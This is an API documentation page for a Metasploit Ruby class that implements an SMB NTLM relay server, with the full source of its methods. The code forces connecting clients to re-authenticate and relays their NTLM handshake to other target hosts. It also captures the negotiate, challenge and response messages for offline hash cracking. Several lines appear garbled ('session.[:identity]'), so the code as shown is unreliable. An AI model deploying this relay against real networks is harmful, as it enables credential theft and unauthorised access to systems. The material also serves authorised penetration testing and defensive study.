Class: Msf::Exploit::Remote::SMB::Relay::NTLM::ServerClient

Inherits:
RubySMB::Server::ServerClient
  • Object
show all
Defined in:
lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb

Overview

This class represents a single connected client to the server. It stores and processes connection specific related information. Has overridden methods than allow smb relay attacks.

Constant Summary collapse

FORCE_RETRY_SESSION_SETUP =

The NT Status that will cause a client to reattempt authentication

::WindowsError::NTStatus::STATUS_NETWORK_SESSION_EXPIRED

Instance Method Summary collapse

Constructor Details

#initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:) ⇒ ServerClient

Returns a new instance of ServerClient.

Parameters:


12
13
14
15
16
17
18
19
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 12

def initialize(server, dispatcher, relay_timeout:, relay_targets:, listener:)
  super(server, dispatcher)

  @timeout = relay_timeout
  @relay_targets = relay_targets
  @relay_timeout = relay_timeout
  @listener = listener
end

Instance Method Details

#create_relay_smb_client(target, timeout) ⇒ Object


206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 206

def create_relay_smb_client(target, timeout)
  sock = Rex::Socket::Tcp.create(
    'PeerHost' => target.ip,
    'PeerPort' => target.port,
    'Timeout' => timeout,
    'Context' => {
      'Caller' => self
    }
  )

  dispatcher = RubySMB::Dispatcher::Socket.new(sock)
  client = SMBRelayTargetClient.new(
    dispatcher,
    provider: self,
    username: '',
    password: '',
    target: target,
    always_encrypt: false,
    logger: logger
  )

  client
rescue ::Rex::ConnectionTimeout => e
  msg = "Timeout error retrieving server challenge from target #{display_target(target)}. Most likely caused by unresponsive target"
  elog(msg, error: e)
  logger.print_error msg
  nil
rescue ::Exception => e
  msg = "Unable to create relay to #{display_target(target)}"
  elog(msg, error: e)
  logger.print_error msg
  nil
end

#display_target(target) ⇒ Object (protected)


242
243
244
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 242

def display_target(target)
  "#{target.protocol}://#{target.ip}:#{target.port}"
end

#do_session_setup_smb2(request, session) ⇒ Object


66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 66

def do_session_setup_smb2(request, session)
  # TODO: Add shared helper for grabbing session lookups
  session_id = request.smb2_header.session_id
  if session_id == 0
    session_id = rand(1..0xfffffffe)
    session = @session_table[session_id] = ::RubySMB::Server::Session.new(session_id)
  else
    session = @session_table[session_id]
    if session.nil?
      response = SMB2::Packet::ErrorPacket.new
      response.smb2_header.nt_status = WindowsError::NTStatus::STATUS_USER_SESSION_DELETED
      return response
    end
  end

  # Perform a normal setup flow with ruby_smb
  unless session&.[:relay_mode]
    response = super
    session.[:identity] = session.user_id

    # TODO: Remove guest flag
    return response
  end

  ntlmssp_result = self.relay_ntlmssp(session, request.buffer)
  return if ntlmssp_result.nil?

  response = ::RubySMB::SMB2::Packet::SessionSetupResponse.new
  response.smb2_header.credits = 1
  response.smb2_header.message_id = request.smb2_header.message_id
  response.smb2_header.session_id = session_id

  if ntlmssp_result.is_a?(::Net::NTLM::Message)
    response.smb2_header.nt_status = ::WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED.value
    response.buffer = ntlmssp_result.serialize

    if @dialect == '0x0311'
      update_preauth_hash(response)
    end

    return response
  else
    response.smb2_header.nt_status = ntlmssp_result.nt_status.value
    response.buffer = ntlmssp_result.buffer
  end

  update_preauth_hash(request) if @dialect == '0x0311'
  if ntlmssp_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
    response.smb2_header.credits = 32
    session.state = :valid
    session.user_id = ntlmssp_result.identity
    # TODO: This is invalid now with the relay logic in place
    session.key = @gss_authenticator.session_key
    session.signing_required = request.security_mode.signing_required == 1
  elsif ntlmssp_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED && @dialect == '0x0311'
    update_preauth_hash(response)
  end

  response
end

#do_tree_connect_smb2(request, session) ⇒ Object


21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 21

def do_tree_connect_smb2(request, session)
  logger.print_status("Received request for #{session.[:identity]}")

  # Attempt to select the next target to relay to
  session.[:relay_target] = @relay_targets.next(session.[:identity])
  # If there's no more targets to relay to, just tree connect to the currently running server instead
  if session.[:relay_target].nil?
    logger.print_status("identity: #{session.[:identity]} - All targets relayed to")
    return super(request, session)
  end

  logger.print_status("Relaying to next target #{display_target(session.[:relay_target])}")
  relayed_connection = create_relay_smb_client(
    session.[:relay_target],
    @relay_timeout
  )

  if relayed_connection.nil?
    @relay_targets.on_relay_end(session.[:relay_target], identity: session.[:identity], is_success: false)
    session.[:relay_mode] = false
  else
    session.[:relay_mode] = true
  end

  session.[:relayed_connection] = relayed_connection
  session.state = :in_progress

  response = RubySMB::SMB2::Packet::TreeConnectResponse.new
  response.smb2_header.nt_status = FORCE_RETRY_SESSION_SETUP.value

  response
end

#handle_smb1(raw_request, header) ⇒ RubySMB::GenericPacket

Handle an SMB version 1 message.

Parameters:

  • raw_request (String)

    The bytes of the entire SMB request.

  • header (RubySMB::SMB1::SMBHeader)

    The request header.

Returns:

  • (RubySMB::GenericPacket)

Raises:

  • (NotImplementedError)

60
61
62
63
64
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 60

def handle_smb1(raw_request, header)
  _port, ip_address = ::Socket::unpack_sockaddr_in(getpeername)
  logger.print_warning("Cannot relay request from #{ip_address}. The SMB1 #{::RubySMB::SMB1::Commands.name(header.command)} command is not supported - https://github.com/rapid7/metasploit-framework/issues/16261")
  raise NotImplementedError
end

#relay_ntlmssp(session, incoming_security_buffer = nil) ⇒ Object


127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
# File 'lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb', line 127

def relay_ntlmssp(session, incoming_security_buffer = nil)
  # TODO: Handle GSS correctly
  # gss_result = process_gss(incoming_security_buffer)
  # return gss_result if gss_result
  # TODO: Add support for a default NTLM provider in ruby_smb
  begin
    ntlm_message = Net::NTLM::Message.parse(incoming_security_buffer)
  rescue ArgumentError
    return
  end

  # NTLM negotiation request
  # Choose the next machine to relay to, and send the incoming security buffer to the relay target
  if ntlm_message.is_a?(::Net::NTLM::Message::Type1)
    relayed_connection = session.[:relayed_connection]
    relay_target_type2_msg = relayed_connection.get_peer_server_challenge(incoming_security_buffer)
    return nil if relay_target_type2_msg.nil?

    # Store the incoming negotiation message, i.e. ntlm_type1
    session.[:incoming_negotiate_message] = ntlm_message

    # Store the relay target's server challenge, as it is used later when creating the JTR hash
    session.[:relay_target_server_challenge] = relay_target_type2_msg

    relay_target_type2_msg
  # NTLM challenge, which should never be received from a calling client
  elsif ntlm_message.is_a?(::Net::NTLM::Message::Type2)
    RubySMB::Gss::Provider::Result.new(nil, WindowsError::NTStatus::STATUS_LOGON_FAILURE)

  # NTLM challenge response
  elsif ntlm_message.is_a?(::Net::NTLM::Message::Type3)
    relayed_connection = session.[:relayed_connection]

    resp = relayed_connection.send_auth_attempt(incoming_security_buffer)

    is_success = resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
    @relay_targets.on_relay_end(relayed_connection.target, identity: session.[:identity], is_success: is_success)

    if is_success
      logger.print_good("identity: #{session.[:identity]} - Successfully authenticated against relay target #{display_target(relayed_connection.target)}")
      session.[:incoming_challenge_response] = ntlm_message
      user = ntlm_message.user.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
      domain = ntlm_message.domain.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
      session.[:identity] = "#{domain}\\#{user}"

      @listener.on_ntlm_type3(
        address: relayed_connection.target.ip,
        ntlm_type1: session.[:incoming_negotiate_message],
        ntlm_type2: session.[:relay_target_server_challenge],
        ntlm_type3: session.[:incoming_challenge_response]
      )
      @listener.on_relay_success(relay_connection: relayed_connection)
    else
      @listener.on_relay_failure(relay_connection: relayed_connection)
      relayed_connection.disconnect!

      if resp.smb2_header.nt_status == WindowsError::NTStatus::STATUS_LOGON_FAILURE
        logger.print_warning("identity: #{session.[:identity]} - Relay failed due to client authentication details not matching any account on target server #{display_target(relayed_connection.target)}")
      else
        error_code = WindowsError::NTStatus.find_by_retval(resp.smb2_header.nt_status.value).first
        if error_code.nil?
          logger.print_warning("identity: #{session.[:identity]} - Relay against target #{display_target(relayed_connection.target)} failed with unexpected error: #{resp.smb2_header.nt_status.value}")
        else
          logger.print_warning("identity: #{session.[:identity]} - Relay against target #{display_target(relayed_connection.target)} failed with unexpected error: #{error_code.name}: #{error_code.description}")
        end
      end

      session..delete(:relay_mode)
    end

    RubySMB::Gss::Provider::Result.new(nil, resp.smb2_header.nt_status)

  # Should never occur
  else
    logger.error("Invalid ntlm request")
    RubySMB::Gss::Provider::Result.new(nil, WindowsError::NTStatus::STATUS_LOGON_FAILURE)
  end
end